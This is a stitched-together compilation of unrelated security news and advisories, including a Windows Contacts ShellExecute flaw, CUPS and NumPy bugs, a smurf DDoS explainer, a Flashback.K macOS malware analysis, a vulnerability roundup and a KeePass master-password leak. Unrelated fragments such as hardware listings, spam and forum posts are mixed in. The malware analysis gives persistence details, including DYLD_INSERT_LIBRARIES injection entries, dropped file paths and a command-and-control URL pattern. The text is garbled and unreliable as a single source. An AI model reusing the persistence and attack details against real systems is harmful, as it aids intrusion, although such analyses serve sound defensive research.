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About the vulnerability and the micropatch
Security researcher John Page (aka Hyp3rlinx) published the details about the vulnerability and PoC exploit code after Microsoft failed to fix the issue within 90 days of it being reported.
“The issue was initially reported as related to VCF files (which are by default associated with the Windows Contacts application) but Page subsequently added that CONTACT files (also by default associated with Windows Contacts) can be used to achieve the same,” Mitja Kolsek, CEO of Acros Security and co-founder at 0patch, explained.
The vulnerability stems from the fact that almost any string provided via a VCF or CONTACT file in the web site URL or email value ends up being used as an argument to a ShellExecute call.
The call attempts to launch the provided string on the local computer before attempting to open it in the browser. And if a malicious executable that has been renamed to that string has found its way on the user’s computer or a network share, the call will trigger its execution.
As it’s still unknown when and if Microsoft will fix the flaw, the 0patch team decided to create a micropatch for it.
“We simply added some logic before this call to make sure that if the URL doesn’t start with mailto:, http:// or https://, it gets prepended with http:// to prevent any possible launching of local executables,” Kolsek noted.
As per usual, the source code for the micropatch has been made public. Also, it’s good to note that once Microsoft fixes the flaw, the micropatch will automatically stop applying.
Opting for a micropatch
0patch is a solution that aims to fix 0days, unpatched vulnerabilities, end-of-life and unsupported products, provide patches for legacy operating systems, as well as vulnerable third party components and customized software.
Users who want to implement the micropatch have to install and register the 0patch agent.
ACROS Security has been busy lately with creating micropatches for Windows zero-day vulnerabilities. In the last week, they published micropatches for the “AngryPolarBearBug” and “readfile” zero-days disclosed by the security researcher who goes online by the moniker “SandboxEscaper”.
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Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
** DISPUTED ** A Buffer Overflow vulnerability exists in NumPy 1.9.x before 1.21.0rc1 in the 'PyArray_NewFromDescr_int' function of 'ctors.c' when specifying arrays of large dimensions (over 32) from Python code, which could let a malicious user cause a Denial of Service. NOTE: The vendor does not agree this is a vulnerability; In (very limited) circumstances a user may be able provoke the buffer overflow, the user is most likely already privileged to at least provoke denial of service by exhausting memory. Triggering this further requires the use of uncommon API (complicated structured dtypes), which is very unlikely to be available to an unprivileged user. SCA AppSec team researched the issue and found out that it is a security issue because indeed there was a misplaced validation that left an opening for the overflow to happen.
CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
The program copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.
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Vulnerability Assessment & Network Security Forums
If through a vulnerability assessment, a network security issue is detected for the vulnerability below, applying the appropriate security patches in a timely matter is very important. If you have detected that your system has already been compromised, following CERT's Network Security recovery document will assist with recommended steps for system recovery.
Vulnerability Assessment Details
Checks version of CUPS
Detailed Explanation for this Vulnerability Assessment
The remote host is running a CUPS server whose version number is
between 1.0.4 and 1.1.22 inclusive. Such versions are prone to
multiple vulnerabilities :
- A remotely exploitable buffer overflow in the 'hpgltops'
filter that enable specially crafted HPGL files can
execute arbitrary commands as the CUPS 'lp' account.
- A local user may be able to prevent anyone from changing
his or her password until a temporary copy of the new
password file is cleaned up ('lppasswd' flaw).
- A local user may be able to add arbitrary content to the
password file by closing the stderr file descriptor
while running lppasswd (lppasswd flaw).
- A local attacker may be able to truncate the CUPS
password file, thereby denying service to valid clients
using digest authentication. (lppasswd flaw).
- The application applys ACLs to incoming print jobs in a
case-sensitive fashion. Thus, a possible hacker can bypass
restrictions by changing the case in printer names when
submitting jobs. [Fixed in 1.1.21.]
***** Nessus has acertaind the vulnerability exists simply
***** by looking at the version number of CUPS installed on
***** the remote host.
See also : http://www.cups.org/str.php?L700
Solution : Upgrade to CUPS 1.1.23 or later.
Network Security Threat Level: High
Networks Security ID: 11968, 12004, 12005, 12007, 12200, 14265
Vulnerability Assessment Copyright: This script is Copyright (C) 2005 George A. Theall
|BAREBONES BioStar A960D+ AMD Socket AM3/AM3+ MotherboarD CPU AND RAM COMBO
|Lenovo T430 Core i7 16GB RAM 250GB SSD Good Condition
No Discussions have been posted on this vulnerability.
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The smurf technique
The so-called "smurf" technique is based on the use of broadcast servers to paralyze a network. A broadcast server is a server capable of duplicating a message and sending it to all machines present on the same network.
The scenario of such an attack is as follows:
- the attacking machine sends a ping request (ping is a tool that exploits the ICMP protocol, making it possible to test connections on a network by sending a packet and waiting for the response) to one or more broadcast servers while falsifying the source IP address (the address the server is supposed to respond to in theory) and providing the IP address of a target machine.
- the broadcast server passes on the request to the entire network;
- all of the network's machines send a response to the broadcast server,
- the broadcast server redirects the responses to the target machine.
As such, when the attacking machine sends a request to several broadcast servers located on different networks, all of the responses from computers on the various networks will be routed to the target machine.
In this way the bulk of the attacker's work involves finding a list of broadcast servers and falsifying the response address in order to direct them to the target machine.
Attaque par réflexion (Smurf)
Ataque por reflexão (Smurf)
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Solutions for Chapter 7 Problem 29RQ
Abbreviation for PHP is Personal Hypertext Processor. It is a HTML-embedded scripting language, which is used to create dynamic Web pages that may contains text, images, PDF files, and even Flash movies. It is an easy to learn open source, server-sided language, which means it executes on the server machine, not on the browser or client machine. It can be used in almost all the Web server environment and with almost all the databases. PHP is world’s fourth most popular programming language, only after C, Java and C++.
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Sophos protection updating failed he man po polsku online dating
After patching, performance impacts may vary, depending on use cases.Administrators should ensure that performance is monitored for critical applications and services, and work with their vendor(s) and service provider(s) to mitigate the effect, if possible.Without it, that machine will not receive any of the following fixes from Microsoft: More information can be found here: https://support.microsoft.com/en-us/help/4072699/january-3-2018-windows-security-updates-and-antivirus-software.
NCCIC encourages users and administrators to refer to their hardware and software vendors for the most recent information.
For a downloadable copy of IOCs, see: NCCIC conducted analysis on five files associated with or identified as Volgmer malware and produced a Malware Analysis Report (MAR).
MAR-10135536-D examines the tactics, techniques, and procedures observed.
DHS and FBI are distributing these IP addresses to enable network defense and reduce exposure to North Korean government malicious cyber activity.
This alert includes IOCs related to HIDDEN COBRA, IP addresses linked to systems infected with Volgmer malware, malware descriptions, and associated signatures.
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About 75,400 results
https://www.spamlaws.com/hotbar-spyware.htmlHotbar spyware may be hijacking your computer's activities. Make sure you know
the difference between malicious spyware and commercial intent.
https://www.spamlaws.com/how-hotbar-works.htmlHotbar can install itself into your PC without your knowledge and as a result of
your browsing activity. If you visit a website that uses ActiveX controls, the ActiveX
can be infected with a Hotbar file. Hotbar is available as freeware and it usually is
accompanied by other malware that can harm your PC and spy on all of your ...
www.spyware-techie.com/hotbar-removal-guideSep 19, 2012 ... Hotbar is a program that delivers unwanted advertisements on the affected
computer. It was developed by Zango Company that officially became defunct in
https://www.symantec.com/security_response/writeup.jsp?docid...Apr 7, 2009 ... Remove Adware.Hotbar - Symantec Security Response provides comprehensive
internet protection expertise to guard against complex threats, information about
latest new computer viruses and spyware.
https://www.safer-networking.com/removehotbar.phpHotbar. Below are step by step instructions to remove Hotbar from your computer.
Note: This process is difficult and is not recommend unless you are an expert in
this field. The manual process is also dangerous as the removal process requires
you to access and edit sensitive files in the registry of your machine and run the ...
https://en.wikipedia.org/wiki/Zango_(company)Hotbar is an example of adware due to its banner advertising and use of pop-up
windows. The user's browsing habits are also sent to the Hotbar servers with a
unique user ID which allows a user's browsing habits to be tracked over an
extended period. Spyware researcher Benjamin Edelman defined Hotbar's
https://malwaretips.com/blogs/adware-hotbar-cp-removal/Nov 6, 2013 ... STEP 3: Remove Adware.HotBar.CP virus with Malwarebytes Anti-Malware Free.
Malwarebytes powerful technology to detect and remove all traces of malware
including worms, trojans, rootkits, rogues, dialers, spyware and more. You can
download Malwarebytes Anti-Malware Free from the below link, ...
www.itproportal.com/.../hotbar-spyware-possibly-says-symantec/One of the first Windows 98 utilities I downloaded just over a decade ago when I
made the leap to using a mouse was Hotbar. And I regretted it almost
immediately, as the `utility' popped up all sorts of stuff on my desktop that I didn't
want.So I deleted it pretty quickly.Since then, a lot of magazines have reported
the utility as ...
https://forums.pcpitstop.com/topic/1898-hotbar-spyware/?do...comment...And to answer your question, yes. Gator and Hotbar are just as bad as any other
spyware, and in some people's opinion, they're worse. Uninstall them both, a...
www.pchell.com/support/hotbar.shtmlAccording to the HotBar website, Hotbar is an add-on that instantaneously
converts your email and browser applications into powerfully personalized
instruments of enhanced functionality and visual appeal. The Hotbar Browser
Toolbar presents buttons on your Internet Explorer browser that change while
you surf to relate ...
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LastPass Patches Bug Leaking Last-Used Credentials
The Chrome and Opera browser extensions for the freemium password manager LastPass contained a vulnerability that could be exploited to make the application leak login credentials, a security researcher with Google recently discovered.
In order to exploit the bug, threat actors needed to get victims to visit a malicious website and to click on the page multiple times. If successful, the exploit could “result in the last site credentials filled by LastPass to be exposed,” LastPass acknowleged. The company patched the vulnerability on September 12.
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Trojan-Downloader:OSX/Flashback.K is dropped by malicious Java applets that exploit the known CVE-2012-0507 vulnerability.
On execution, the malware will prompt the unsuspecting user for the administrator password. Whether or not the user inputs the administrator password, the malware will attempt to infect the system, though entering the password will affect how the infection is done.
There are two files that are dropped and executed on the system when users visited a malicious webpage.
The first file is an updater component. It is dropped in the users home folder. It may have the default filename ".jupdate" or a filename supplied by the malicious webpage. The filename will always start with a ".".
A launch point is then created for the updater component in the ~/Library/LaunchAgents folder. It may have the default filename "com.java.update.plist" or a filename supplied by the malicious webpage.
On the first execution, this component reports to the following:
On the second execution and onwards, it connects to a hard coded list of addresses to download it's update.
The second file is the downloader component just like the previous variants. It is dropped and executed in the /tmp folder. It may have the default filename "Update" or a filename supplied by the malicious webpage.
The malware then reports to the following location whether it successfully exploited the system or not:
Downloading the Payload
The malware connects to the following URL to download its payload:
- http://[...]126.96.36.199/[...]/counter/%encoded_data% Where decoded data follows this format:
- %hardware_UUID|%machine_architecture%|%kernel_version%|0|%architecture_of_malware_process%| %current_hardware_type_of_system%|%is_user_daemon%
- %is_user_daemon% is "1" if the process is running as the first OS X user account or daemon "0" otherwise
The filename and actual content of the payload depends on reply of the remote host. The reply is compressed and encrypted but the actual content follows this format:
- %encoded_filename%|%encoded_binary1_content%|%encoded_payload_config%| %encoded_binary2_content%|%encoded_png_content% Where:
Binary 1: We were not able to obtain the payload during our analysis. However based on previous variants, binary1 is most likely the malware's main component. It hijacks CFReadStreamRead and CFWriteStreamWrite by creating an interposition to these functions. The malware modifies contents returned or send by these APIs. It targets the contents of specific webpages, as determined by config information returned by the remote host.
Binary 2: We were not able to obtain the payload during our analysis. However based on previous variants, binary2 is most likely a filter component that will load binary1 only into a targeted process. This is to avoid crashing incompatible applications and raising the user's suspicions. In the sample that we analyzed, it targets the Safari web browser.
Only after downloading the payload does Flashback.K proceed with infecting the machine. To do so, the malware prompts for the administrator password, as in the following screenshot:
The icon indicated by the red box in the screenshot is the PNG content returned by the remote host. This is dropped to the location '/tmp/.i.png' on the system. Since this image is controlled by the remote host, it can be changed any time the author deems necessary.
Whether or not the user inputs their administrator password at the prompt determines the type of infection the malware subsequently performs:
Infection Type 1
If the user inputs their administrator password, the malware will create the following files:
/Applications/Safari.app/Contents/Resources/.%decoded_filename%.png - contains %decoded_binary1_contents% and %decoded_payload_config%
/Applications/Safari.app/Contents/Resources/.%decoded_filename%.xsl - contains %decoded_binary2_contents%
The malware then creates a launch point, inserting the following line into "/Applications/Safari.app/Contents/Info.plist":
- <key>LSEnvironment</key><dict><key>DYLD_INSERT_LIBRARIES</key> <string>/Applications/Safari.app/Contents/Resources/.%decoded_filename%.xsl</string></dict>
This in effect will inject binary2 into Safari when the browser is launched.
If the malware was able to infect the system this way, it reports success to the following URL:
If it failed to infect the system, the malware reports to the following URL:
Infection Type 2
In cases where the user did not input their administrator password, the malware checks if the following path exists in the system:
- /Applications/Microsoft Word.app
- /Applications/Microsoft Office 2008
- /Applications/Microsoft Office 2011
If any of these are found, the malware again skips the rest of its routine and proceeds to delete itself, presumably to avoid infecting a system that has an incompatible application installed.
If none of the incompatible applications are found, the malware will create the following files:
~/Library/Application Support/.%decoded_filename%.tmp - contains %decoded_binary1_contents% and %decoded_payload_config%
/Users/Shared/.libgmalloc.dylib - contains %decoded_binary2_contents%
The malware then creates a launch point by creating "~/.MacOSX/environment.plist", containing the following lines:
- <key>DYLD_INSERT_LIBRARIES</key> <string>/Users/Shared/.libgmalloc.dylib</string>
This in effect will inject binary2 into every application launched by the infected user.
For this infection type, the malware reports the successful infection to the following URL:
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Siemens and ICS-CERT published advisories this week to alert users of improper authentication and privilege escalation vulnerabilities affecting some SIMATIC and XHQ products.
The SIMATIC communication processor (CP) of the Redundant Network Access (RNA) series, which is designed for connecting S7-400 CPUs to industrial ethernet, is affected by a critical vulnerability that allows a remote, unauthenticated attacker to perform administrative actions on a device.
The security hole, tracked as CVE-2017-6868, affects the SIMATIC CP 44x-1 RNA modules running versions prior to 1.4.1. The flaw can only be exploited if the attacker has network access to TCP port 102 and the processor’s configuration is stored on the corresponding CPU.
In a separate advisory, ICS-CERT and Siemens described a medium severity privilege escalation flaw (CVE-2017-6866) affecting the XHQ automation software, which helps organizations improve enterprise performance by providing and aggregating operational and business data.
The vulnerability affects XHQ 4 versions prior to 188.8.131.52 and XHQ 5 versions prior to 184.108.40.206, and it can be exploited by an authenticated attacker with low privileges to read data they should not be allowed to access.
The company also alerted customers last month that many of its medical devices had been exposed to attacks due to the use of the SMB1 protocol, which the WannaCry ransomware exploited in recent attacks. Siemens updated many of its advisories this month to inform users about the availability of patches.
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A critical security flaw in the "getaddrinfo()" library function in the ubiquitous "glibc" library was publicly disclosed today. An exploit of this flaw would potentially allow an attacker to run code remotely on a vulnerable system by sending it a carefully tailored response to a DNS query. Because of the nature of this vulnerability, it is critical that you apply the security patches as soon as they become available:
- Patches are now available now for current releases of Ubuntu, Debian and RedHat Enterprise Linux (RHEL) from the standard channels.
- Patches for CentOS, Scientific Linux and Fedora are expected to be available shortly. *UPDATE* : they are now available.
- If you are running an OS that is no longer getting security patches, you should upgrade as soon as possible. Also check the references below for possible short-term mitigations.
It is advisable to reboot each instance after applying the patches. If that is not possible, then you need to restart all system and application services in the manner appropriate to your system. DNS is used by a variety of services, and they all need to be restarted in order to pick up the patched version of the "getaddrinfo()" library function.
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Warning: Critical RCE vulnerability in Craft CMS
A vulnerability in Craft CMS can be remotely exploited by an attacker to upload and execute code. The complexity to exploit this vulnerability is low. The impact on the confidentiality and integrity of your or your customers data is high. Typically the Craft CMS is exposed to the public on the Internet.
The Craft CMS that allows an attacker to upload code and execute the code under control of the attacker.
The Centre for Cyber Security Belgium strongly recommends to upgrade to the Craft CMS 4.4.15 as soon as possible.
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n this presentation we will be discussing the evolution of the notorious rootkit TDL (classified by ESET as Win32/Olmarik and Win64/Olmarik) which in its latest incarnation is the first widespread rootkit to target 64-bit versions of Microsoft Windows operating systems. The most striking features of the rootkit are its ability to bypass Microsoft Windows Driver Signature Checking in order to load its malicious driver, and its implementation of its own hidden encrypted file system, in which to store its malicious components. Between its first appearance on the malware scene and the present its architecture has been drastically changed several times to adapt to new systems and respond to countermeasures introduced by antivirus and HIPS software. In the presentation we will cover the the following topics: the evolution of the user-mode and kernel-mode components of the rootkit; techniques it has used to bypass HIPS; modifications to the hidden file system; bootkit functionality; tne recently introduced ability to infect x64 operating systems; and, finally, approaches to removing the rootkit from an infected system. In addition, we will present our free forensic tool for dumping the hidden rootkit file system.
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If you’ve ever wondered, “How do I retrieve a file using the API – it’s just a URL with an encrypted ID!”, this example should hold the answer. It uses a bot to download a file sent to a 1:1 room (a conversation between the bot and a single user), using a webhook. If your bot is in a group room, it will only be able to retrieve files where the bot is explicitly mentioned, like @botname.
For additional help creating a webhook, we recommend checking out our webhook blog and our simple (but complete) bot demo.
Alternatively, if you’re using an access token retrieved using Oauth, you can retrieve the messages in a room with this function.
In the Webhooks Explained page, the section titled Handling Requests from Spark describes the format of webhook messages. When a file is sent to the 1:1 room with the bot, the webhook will send JSON to your server containing a files key, under the data element, in addition to the other attributes such as personEmail:
The files attribute is a list of URLs (one URL if only one file is sent in a single message, multiple URLs if more than one file is sent at the same time) that will be used to retrieve the actual files. The URL for the file will be the request URL in your REST GET, and you’d just need to then pass the bot’s authentication token in a Bearer authorization header to retrieve the details (because who can view the file is limited to who is in the room – again though, in a group room, a bot’s permission is limited to messages in which it is also mentioned).
Information and additional examples on retrieving messages is detailed here.
The “Content-Disposition” header in the GET response is used to determine the file’s name and file type to be saved. The file data is the entire body of the GET response. There is no base 64 or other special encoding of the file data, so it can be written directly to the destination. So if we were retrieving an image from our example above, we would run the GET on:
The below code is an app that receives the data from the webhook and - if the data contains a files key - attempts to download the files directly to the source folder from where it is run (so if the app is located in your /Documents/Files folder, it will download the file to /Documents/Files).
We are experimenting with the web apps and macros, is it possible to enable WebGL on the board for apps such as google earth or to view CAD designs? The message "Hmm. While your browser seems to support WebGL, it i...
HiI have UCCx 11.6 premium versionIn UCCx script we want to load prompts from external media server in order to play it into the call flow menus.UCCx and media server, both are on the same LAN. We already have an URL were to download those prompts th...
Hi, I have tried to get all events from site using XML API using below code, string destinationUrl = "https://geewiz.my.webex.com/WBXService/XMLService"; string requestXml ="<?xml version="1.0" encoding="ISO-8859-1"?><serv:messagex...
Hi All, Finesse - Issue in Popup on some inbound call. I found a problem some the inbound call don't popup of the customer detail. Who is have found a problem with me? Or Who have troubleshot for this case? Please see attac...
Hi, I write voice application using tcl programming on my cisco 2821 (c2800nm-advipservicesk9-mz.124-24.T8)I tried to use infotag set leg_target_carrier_id to set carrier id as it is described in the documentation but it I get an error:Unrecogni...
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In a world where everything is an “as-a-service,” it’s no surprise that ransomware-as-a-service (RaaS) is a hot ticket on the Dark Web. FortiGuard Labs has observed at least two significant ransomware families – Sodinokibi and Nemty – now being deployed as RaaS solutions.
Meanwhile, cybercriminals are also refining existing malware to evade detection and deliver increasingly sophisticated and malicious payloads, such as we’ve seen in the evolution of the Emotet malware, a popular and successful banking trojan.
Let’s explore the recent discoveries made by the Fortiguard Lab teams on the transformation of these malware families and ways to safeguard networks.
The New Face of Ransomware
With significant financial incentives to spur them on, cybercriminals continually invent more sophisticated forms of ransomware – and ways of distributing it. For instance, the cybercriminals behind the prolific GandCrab ransomware strain reportedly made more than $2 billion in less than two years before saying that they were “retiring” recently (a claim that some researchers refute). Many of those illegitimate gains came from their use of a RaaS model to distribute the malware. By establishing a network of affiliate partners, GandCrab’s authors were able to spread their ransomware widely and scale earnings dramatically in the process.
We noticed last quarter that Sodinokibi and Nemty, two other significant ransomware families, were being deployed in a similar manner, suggesting the RaaS model is gaining ground. Sodinokibi (a.k.a. Sodin, REvil) surfaced shortly before GandCrab’s authors supposedly retired; it quickly became one of the biggest ransomware threats in Q3. It was used in multiple targeted attacks on major organizations, including nearly two dozen local governments in one state.
Cybercriminals distributed Sodinokibi in a number of ways, including exploit kits, phishing and the exploitation of software vulnerabilities. We believe it is unique among ransomware strains in exploiting a remote code-execution vulnerability to infect systems.
These examples demonstrate that ransomware continues to be a clear and present danger to enterprise organizations. Many threat actors have eschewed mass-volume spray-and-pray consumer attacks for more carefully planned, targeted ones aimed at maximizing disruption for companies. By using an RaaS model, the authors of malware such as Sodinokibi and Nemty are significantly lowering the bar for launching such attacks. That lowered bar makes this particular form of cybercrime accessible and profitable for a larger pool of bad actors.
10 Ways to Take Action
How can you protect your organization from increasingly sophisticated ransomware? Here are 10 practical steps to implement now.
- Maintain patching and updating for your operating systems, devices and software.
- Consistently run the latest updates for your device and network antivirus, IPS and anti-malware tools.
- Back up your systems regularly, and store that backup offline on a separate device as part of a recovery plan.
- Employ security tools that check email attachments, websites and files for malware, which can block potentially compromised advertisements and social media sites that have no business relevance. These tools should include sandbox functionality, so that new or unrecognized files can be executed and analyzed in a safe environment.
- Use permissions and privileges so that the fewest number of users have the potential to infect business-critical applications, data or services.
- Create and enforce a bring-your-own-device security policy that inspects and blocks devices that do not meet your standards for security.
- Make use of application whitelisting, which prevents unauthorized applications to be downloaded or run, where possible.
- Keep in mind that human beings are the most vulnerable link in your security chain, and you will need to plan around them.
- To prevent an infection in one area from easily spreading to another, segment your network into security zones.
- Use forensic analysis tools so that post-attack, you can identify a) where the infection came from, b) how long it has been in your environment, c) that you have removed all of it from every device and d) that you can ensure it doesn’t come back.
Prepare to Protect
As cybercriminals continue launching new malware services to expand their earning potential, enterprises have to stay on their toes. The latest threat data reveals that bad actors are focusing their attacks for maximum impact and profit using increasingly stealthy and unexpected methods. Use the steps listed above to protect your organization from the new crop of ransomware threats.
Derek Manky is chief of security insights and global threat alliances, Fortinet.
Enjoy additional insights from Threatpost’s InfoSec Insider community by visiting our microsite.
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A Curl UAF, iPhone FORCEDENTRY, and a Crazy HP OMEN Driver
This is eBPF verifier code, but its more of a logical issue. Its calculating maximum and minimum values for the destination register after the shift instructions. To ensure they don’t go out of range.
Starting with the Left Shift case:
- Line 9 - Dst min value is a left shift by min_val
- Line 14 - Dst max value is a left shift by max value
- These are both correct.
- The minimum possible value will be a Left Shift by the minimum value
- The Maximum possible value will be a Left Shift by the max Look at the Right Shift case though
- The minimum value is a RIGHT shift by min_val
- The maximum value is a RIGHT shift by max_val
- This is a wrong calculation.
- A Right Shift is like dividing by two multiple times
- So dividing by two the MINIMUM number of times gives the MAX value not the MIN
- This is a wrong calculation.
Its hard to even call this one a vulnerability, the driver developers simply expose some kernel primitives directly to userland, nothing crazy needed. The driver supporting HP OMEN Gaming Hub software directly exposes several privileged instructions through IOCTLs. Including exposing the CPU
out instructions which are used for communicating with the I/O ports on the CPU (such as RAM or storage devices) and
wrmsr which are used to read and write
Model Specific Registers.
The majority of the post focuses on high-level exploit strategies using these primitives. Using the I/O port access to overwrite a privileged binary on the storage device with malicious code, and abusing write access to
MSR_LSTAR to replace the syscall handler and point it to attacker controlled code.
This Talos report covers a non-trivial issue where a stack pointer is used after it went out of scope when invoking JS bindings, which are provided to document creators by Nitro Pro PDF for automating aspects of the document. When one of these bindings needs to be executed by the SpiderMonkey library, the
js32u.dll!js_Invoke function is used to create stack space and push a
JSStackFrame object to be used by the invoked binding. It will then link the newly created stack frame to the parent
JSContext in a linked list. The main thing to note here is these stack frames are backed by stack memory allocated by
js_Invoke, meaning if that function returns, these stack frames go out of scope.
The problem comes into play when the
Document.flattenPages() functionality for flattening the PDF is invoked in a way that can fail (such as having annotations for pages being referenced incorrectly). The application’s registered
JSFunctionSpec callback will first register a structured exception handler before allocating the necessary space for it’s stack frame. If an exception is thrown, all exception handlers that were registered during compilation will be called, the first of which will convert the exception to a different exception and throw that. This results in the next exception handler in the function being skipped, which means the exception can be caught by other C++ exception handlers.
This results in code that’s responsible for cleaning up the stack (popping the stack frames that were used to execute the binding and restoring the context) being skipped, which leads to stale
JSStackFrame pointers remaining attached to the parent context. Later on after the invoke function has finished, the SpiderMonkey library will end up writing to the stale pointer in the linked list of stack frames, which can be leveraged for code execution.
This post covers an infoleak in Microsoft’s Azure Sphere Security Monitor, which is a linux-based operating system for IOT devices. They focus on the
SMSyscallPeripheralAcquire system call, which is used for switching the mux mode on a given pin, and change the layout of how the pins are configured. It takes an input and output buffer.
The output consists of how many input entries were processed, how many entries have an output object, then an array of the output objects themselves, which contain metadata information for the pin. One of the fields in this object (a
uint16_t) is left uninitialized, and leaks 2 bytes of kernel heap memory to userspace. It’s worth noting this system call is locked behind the
AZURE_SPHERE_CAP_PERIPHERAL_PIN_MAPPING capability, and thus this bug can’t be exploited from a completely unprivileged context.
Straightforward use-after-free in libcurl when processing MQTTs. The
mqtt_doing() routine will attempt to send any remainder of outgoing packet data using the
mq->sendleftovers pointer, freeing that pointer, but then never clearing the reference. If that function can get triggered again, it will lead to a double free.
Where glibc is used, that can be used for a tcache poisoning attack to leak heap metadata as well as craft an arbitrary write, though you would need to target it to how the application is handling and storing message data. The curl staff and the researcher have some back and forth on the exploitability of the issue, ultimately the curl staff agree on it being a security issue and resolve it.
The CoreGraphics framework for decoding JBIG2-encoded data in a PDF has an out of bounds write. This vulnerabilities originates in its attempt to calculate the number of symbols.
In calculating the number of symbols CoreGraphics will iterate over the available segments for symbol dictionary segments, then add the size of the segment to the number of symbols. It then allocates space for these symbols and fills them in. The bug comes from a lack of overflow detection when calculating the number of symbols. It is possible to increment the number of symbols beyond the range of the unsigned int, resulting in a smaller than expected allocation.
When CodeGraphics starts to fill in the symbol values it will end up outside of its allocated rage.
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They are very serious. We verified that attackers might exploit these vulnerabilities to install malware or virus into Nokia phones (and possibly the phones of other manufacturers) in a very similar way they install it into PC computers. We also verified that the phone can be silently controlled by attackers - the user might not be even aware that someone has hacked his / her phone. Attackers can also access or modify the phonebook of the phone, they can start a phone call to the number of their choice or they can send SMS or MMS messages to any other phone number. Finally, they can use the phone to snoop on user's activities (record audio or video, take camera snapshot, sniff commands send to the SIM card, etc.).
Unfortunately, no antivirus software exists that can protect your Nokia Series 40 phone. By default, no other software can be installed on Nokia Series 40 devices than Flash or Java applications. These applications run in a limited security environemnt and cannot access phone resources in a way that would allow them to protect it from malware or viruses.
An attacker just needs to know your phone number in order to attack your Nokia phone. By sending proper sequence of messages to the target Nokia phone, attackers can deploy and run Java application of their choice into it. Deployed application can break security of the phone with the use of mobile Java flaws we discovered. From that moment, attackers can proceed with penetrating the phone and can for example install a backdoor application into it.
Users usually install Java applications on their own by downloading them from the Internet directly into the phone or by uploading them from a PC computer. There is also one other way that can be exploited by attackers in case of Nokia Series 40 devices. Attackers can simply force a target phone (by only knowing its number) to deploy and run Java application of their choice into it.
Different sources provide different numbers. One source from Sun Microsystems claimed in a published article from 2006 that there was approximately 1.5 billion of Java enabled cell phones on the market at that time.
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The best password managers aim to keep all of your login and credit card information safe and secure, but a major new security flaw has put KeePass password manager users at risk of being breached.
In fact, the exploit allows an attacker to steal the KeePass master user password in plain text—in other words, in unencrypted form—simply by extracting it from the target computer’s memory. It’s a very simple hack, but one that can have troubling repercussions.
Password managers like KeePass lock all of your login information to keep it safe, and all of that data is hidden behind a master password. You enter your master password to access everything stored in your vault, which makes it a valuable target for hackers.
As reported by Bleeping Computer, the KeePass vulnerability was discovered by security researcher “vdohney”, who posted a proof-of-concept (PoC) tool on GitHub. This tool is able to extract almost the entire master password (minus the first one or two characters) in readable and unencrypted form. It can do this even if KeePass is locked, and possibly if the app is completely closed.
This is because it extracts the master password from KeePass memory. As the researcher explains, this can be obtained in several ways: “It doesn’t matter where the memory comes from – it can be the process dump, the swap file (pagefile.sys), the hibernation file (hiberfil.sys) or the RAM dump of the entire system.”
The exploit exists thanks to some custom codes that KeePass uses. When you enter your master password, you do so in a dedicated box called SecureTextBoxEx. Despite the name, it turns out that this box isn’t secure at all, since every character typed into the box essentially leaves a residual copy of it in the system’s memory. These are the remaining characters that the PoC tool finds and extracts.
The fix is coming
The only caveat for this security breach is that it requires physical access to the device from which the master password is to be extracted. But this isn’t always a problem – as we’ve seen with the LastPass exploit saga, hackers can gain access to a target’s computer using vulnerable remote access applications installed on the computer.
If the target computer is infected with malware, it can be configured to dump KeePass memory and send it and the application database back to the hacker’s server, allowing the threat actor to extract the master password on their own time.
Fortunately, KeePass’ developer says a fix is forthcoming, with one possible remedy being to inject random dummy text into the app’s memory that would mask the password. The fix isn’t expected to be released until June or July 2023, which can be an agonizing wait for anyone concerned that their master password has been leaked. However, the developer has also released a beta version of the fix, which can be downloaded from the KeePass website.
The vulnerability shows that even seemingly secure applications like password managers can be hacked, and it’s not the first time that a serious vulnerability has been discovered in KeePass. If you want to protect yourself from online threats like this latest exploit, avoid downloading apps or opening files from unknown senders, avoid questionable websites, and use an antivirus app. And of course, never share your password manager master password with anyone.
#Hackers #master #key #password #manager #digital #trends
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Distributed denial of service (DDoS) is one of the biggest security threats facing the Internet. We can develop a false sense of security when we see the major takedowns of individuals such as Austin Thompson – aka DerpTrolling – and Mirai botnet operator Paras Jha. (Jha was recently sentenced, and Thompson just pleaded guilty.)
Despite these high-profile busts, DDoS goes on. An industry report that looked at Q2 2018 showed an increase in average attack size year-over-year of 543% and increase in the quantity of attacks by 29% – consistent with our internal data as a DDoS mitigation provider. Attacks are becoming more sophisticated but have traditionally fallen into three primary categories:
- Application layer attacks – These DDoS events, measured in requests per second (rps), involve an attacker trying to take the web server offline.
- Protocol attacks – In these DDoS incidents, which are gauged by the number of packets per second (PPS), the hacker attempts to eat up all the resources of the server.
- Volume-based attacks – When DDoS is targeting volume, measured in bits per second (BPS), the hacker attempts to overload a website’s bandwidth.
Two of the biggest names in Mirai have been DerpTrolling and Mirai. DerpTrolling was an individual who used DDoS tools to bring down major companies including Microsoft, Sony, and EA. Mirai is an IoT botnet that was created primarily from CCTV cameras and was used against the major DNS provider Dyn and various other targets. These two prominent DDoS “brands,” if you will, were first seen in the news as the attacks were occurring, as well as in their aftermath as alleged parties behind the attacks were arrested and ordered into court. This article looks Mirai and DerpTrolling, then explores what the landscape looks like moving forward.
The story of Mirai
A great business model from a profit perspective (though incredibly nefarious, of course) is to continually create a problem that you can continually resolve with your solution. That model was leveraged by Mirai botnet creator Paras Jha, who was a student at Rutgers University when the attacks occurred. Jha started experimenting by hitting Rutgers with DDoS at key times of year, such as midterm exams and class registration – simultaneously attempting to sell DDoS mitigation services to the school. Jha also was active in Minecraft and attacked rival servers.
On September 19, 2016, the first major assault from Mirai hit French web host OVH. Several days afterward, the code to Mirai was posted on a hacking forum by the user Anna-Senpai. Open-sourcing code in this manner is used to broaden attacks and conceal the original creator.
On October 12, another attack leveraging Mirai was launched – this one by another party. That attack, which assaulted DNS provider Dyn, is thought to have been an attack on Microsoft servers used for gaming. When Jha and his partners, Josiah White and Dalton Norman, pleaded guilty to Mirai incidents in December 2017, the code had already been delivered to the hands of other nefarious parties for use by anyone wanting a botnet to pummel their competition or other targets.
The story of DerpTrolling
DerpTrolling was a series of attacks on gaming servers. Thompson, the primary figure, hit various targets in 2013 and 2014. The scale of victims was broader than with Mirai: Thompson hit major companies such as Microsoft, Sony, and EA, along with small Twitch streamers.
DerpTrolling operated as @DerpTrolling on Twitter and would announce that he was going to hit a certain victim with his “Gaben Laser Beam.” Once the DDoS was underway, DerpTrolling would either post taunts or screenshots of the attack.
DDoS in court
